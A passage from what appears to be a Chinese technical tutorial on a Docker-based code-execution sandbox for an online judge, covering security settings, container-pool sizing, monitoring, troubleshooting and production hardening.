}
防御机制:
withReadonlyRootfs(true)根文件系统只读- 用户代码只能访问挂载的代码目录
- 无法读取系统敏感文件,无法写入持久化文件
8.2 安全配置最佳实践
| 场景 | 推荐配置 | 说明 |
|---|---|---|
| 内存限制 | 100-256MB | 根据题目难度调整,过小可能导致正常代码 OOM |
| CPU 限制 | 1 核心 | 足够运行大多数算法题,防止资源抢占 |
| 执行超时 | 5-10 秒 | 根据题目时间限制设置,留有一定余量 |
| 网络模式 | none | 生产环境必须禁用,无例外 |
| 文件系统 | 只读 | 仅挂载目录可写,其他只读 |
九、容器池调优指南
9.1 容器池大小的确定
容器池大小直接影响系统的并发处理能力和资源利用率。选择合适的池大小需要考虑以下因素:
计算公式:
推荐池大小 = min(CPU核心数 × 2, 预期并发数 × 1.5)
示例计算:
- 服务器 CPU:8 核心
- 预期并发判题请求:10 个/秒
- 单次判题平均耗时:0.5 秒
- 推荐池大小:min(8 × 2, 10 × 0.5 × 1.5) ≈ 8-10 个
池大小与性能关系:
| 池大小 | 并发能力 | 内存占用 | 适用场景 |
|---|---|---|---|
| 2-4 | 低 | ~200MB | 开发测试环境 |
| 4-8 | 中 | ~400MB | 小型 OJ 平台 |
| 8-16 | 高 | ~800MB | 中型 OJ 平台 |
| 16+ | 很高 | 1GB+ | 大型比赛场景 |
9.2 性能监控指标
在生产环境中,建议监控以下关键指标:
┌─────────────────────────────────────────────────────────────┐
│ 关键监控指标 │
├─────────────────────────────────────────────────────────────┤
│ │
│ 容器池指标: │
│ ├── 队列长度:当前可用容器数量 │
│ ├── 等待时间:请求获取容器的平均等待时间 │
│ └── 使用率:容器被使用的时间占比 │
│ │
│ 执行指标: │
│ ├── 编译成功率:成功编译的请求占比 │
│ ├── 执行成功率:成功执行的请求占比 │
│ ├── 平均执行时间:单次代码执行的平均耗时 │
│ └── 超时率:执行超时的请求占比 │
│ │
│ 资源指标: │
│ ├── 容器内存峰值:容器使用的最大内存 │
│ ├── 容器 CPU 使用率:容器的 CPU 利用率 │
│ └── 宿主机资源:Docker 守护进程的资源消耗 │
│ │
└─────────────────────────────────────────────────────────────┘
9.3 常见问题排查
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
| 获取容器超时 | 池大小不足或容器卡死 | 增加池大小,检查容器健康状态 |
| 编译总是失败 | 镜像缺少编译器 | 确认镜像包含 javac 命令 |
| 执行结果为空 | 代码无输出或超时 | 检查用户代码逻辑和超时设置 |
| 内存使用异常高 | 用户代码内存泄漏 | 确认内存限制生效,检查 OOM 日志 |
| Docker 连接失败 | Docker 守护进程未启动 | 检查 Docker 服务状态和 TCP 端口 |
十、生产环境部署建议
10.1 架构建议
对于生产环境,建议采用以下部署架构:
┌─────────────────────────────────┐
│ 负载均衡器 │
│ (Nginx / Spring Cloud Gateway)│
└───────────────┬─────────────────┘
│
┌───────────────────────┼───────────────────────┐
│ │ │
▼ ▼ ▼
┌───────────────┐ ┌───────────────┐ ┌───────────────┐
│ 判题服务实例1 │ │ 判题服务实例2 │ │ 判题服务实例3 │
│ 容器池: 8个 │ │ 容器池: 8个 │ │ 容器池: 8个 │
│ Docker │ │ Docker │ │ Docker │
└───────────────┘ └───────────────┘ └───────────────┘
│ │ │
└───────────────────────┼───────────────────────┘
│
▼
┌─────────────────────────────────┐
│ 消息队列 (RabbitMQ) │
│ 异步处理判题任务 │
└─────────────────────────────────┘
10.2 高可用设计要点
- 多实例部署:至少部署 2-3 个判题服务实例,实现负载均衡和故障转移
- 容器健康检查:定期检查容器状态,自动重启异常容器
- 优雅停机:服务停止时等待正在执行的任务完成,归还所有容器
- 日志收集:集中收集判题日志,便于问题排查和审计
- 监控告警:设置关键指标阈值告警,及时发现问题
10.3 安全加固清单
- Docker 守护进程启用 TLS 认证
- 限制容器的 capabilities(如 drop all)
- 启用 seccomp 安全配置文件
- 定期更新 JDK 镜像,修复安全漏洞
- 审计容器内的文件变化
- 限制用户代码文件大小(防止磁盘攻击)
十一、总结
本文详细介绍了 OJ 系统中代码沙箱的设计与实现,从基础版本逐步演进到容器池优化版本。通过引入容器池技术,我们将单次代码执行的响应时间从 3.5 秒缩短到 0.5 秒,性能提升约 7 倍。
11.1 核心设计思想
在设计容器池系统时,我们始终坚持以下四个核心原则:
- 安全第一:通过资源限制和网络隔离,构建安全的代码执行环境
- 性能优化:使用容器池技术,避免频繁创建销毁容器的开销
- 并发支持:阻塞队列实现线程安全的容器分配和回收
- 资源复用:容器重复使用,仅清理代码文件,高效利用系统资源
11.2 技术栈总结
| 技术 | 作用 |
|---|---|
| Docker | 容器化技术,提供隔离的执行环境 |
| docker-java | Docker API 的 Java 客户端 |
| Netty | 高性能网络通信框架 |
| BlockingQueue | 线程安全的阻塞队列 |
| Spring Boot | 应用框架和依赖注入 |